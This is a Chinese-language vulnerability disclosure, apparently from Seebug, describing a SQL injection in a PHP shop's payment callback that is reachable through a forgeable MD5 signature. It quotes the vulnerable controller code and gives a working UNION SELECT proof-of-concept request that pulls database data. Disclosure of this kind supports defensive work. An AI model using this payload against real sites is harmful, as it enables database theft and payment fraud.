### 简要描述:
20140926
### 详细说明:
/protected/controllers/payment.php中 callback 函数
```
public function callback(){
//从URL中获取支付方式
$payment_id = Filter::int(Req::get('payment_id'));
$payment = new Payment($payment_id);
$paymentPlugin = $payment->getPaymentPlugin(); //先获取一个支付方式,默认只有余额支付 ,id为1
。。。
//执行接口回调函数
$callbackData = Req::args();//array_merge($_POST,$_GET);
unset($callbackData['con']);
unset($callbackData['act']);
unset($callbackData['payment_id']);
unset($callbackData['tiny_token_redirect']);
$return = $paymentPlugin->callback($callbackData,$payment_id,$money,$message,$orderNo);//$callbackData为所有get和post参数,跟进去看看,这个callback在 /protected/classes/payments/pay_balance.php,通过这个函数我们可以控制return和orderNo,没有过滤。
//支付成功
if($return == 1)
{
//充值方式
if(stripos($orderNo,'recharge_') !== false)
{
$tradenoArray = explode('_',$orderNo);
$recharge_no = isset($tradenoArray[1]) ? $tradenoArray[1] : 0;
$recharge_id = Order::recharge($recharge_no,$payment_id);//recharge_no带入查询产生注入
if($recharge_id){
//$this->redirect("/ucenter/account/$recharge_id");
$model = new Model('recharge');
$obj = $model->where("id=".$recharge_id.' and status=1')->find();
if($obj){
$msg = array('type'=>'success','msg'=>'充值成功!','content'=>'充值编号:'.$recharge_no.',充值方式:'.$obj['payment_name'],'redirect'=>'/ucenter/account');
$this->redirect('/index/msg',true,$msg);
}
}
$msg = array('type'=>'fail','msg'=>'支充值失败!');
$this->redirect('/index/msg',false,$msg);
exit;
}
}
。。。
}
```
/protected/classes/payments/pay_balance.php中
```
public function callback($callbackData,&$paymentId,&$money,&$message,&$orderNo)
{
//除去待签名参数数组中的空值和签名参数
$filter_param = $this->filterParam($callbackData);
//对待签名参数数组排序
$para_sort = $this->argSort($filter_param);
//生成签名结果
$payment = new Payment($paymentId);
$paymentInfo = $payment->getPayment();
$mysign = $this->buildSign($para_sort,$paymentInfo['partner_key']); //生成$mysign,利用数据库中余额支付对应的partner_key,这个key是默认不变的。
if($callbackData['sign'] == $mysign) $callbackData['sign']是可控的。
{
//回传数据
$orderNo = $callbackData['order_no']; //orderNo也可以被我们控制
$money = $callbackData['total_fee'];
if($callbackData['order_status'] == 'TINY_SECCESS')
{
return true;
}
$message = '支付失败';
}
else
{
$message = '签名不正确';
}
return false;
}
```
```
}
```
另,buildSign算法:
```
public function buildSign($sort_para,$key,$sign_type = "MD5")
{
//把数组所有元素,按照“参数=参数值”的模式用“&”字符拼接成字符串
$prestr = $this->createLinkstring($sort_para);
//把拼接后的字符串再与安全校验码直接连接起来
$prestr = $prestr.$key;
$mysgin = md5($prestr);
return $mysgin;
}
```
不具体跟了,我们做一个代理,帮我们生成sign就好。
### 漏洞证明:
http://127.0.0.1/index.php?con=payment&act=callback&payment_id=1
order_no=recharge_2' union select '111 union select 1,2,3,4,5,user(),7 %23 ',2,3,4,5,user(),1 %23 _2_3&order_status=TINY_SECCESS
这里利用满特别的,先用一个union 控制订单状态和订单号,把状态变为1,进入条件语句,订单号变为111 union select 1,2,3,4,5,user(),7 %23带入查询,控制回显。
[<img src="https://images.seebug.org/upload/201411/08122154b7ea7cbf6dbd716ddc26012eaadbbbe3.jpg" alt="QQ图片20141108121847.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/08122154b7ea7cbf6dbd716ddc26012eaadbbbe3.jpg)
暂无评论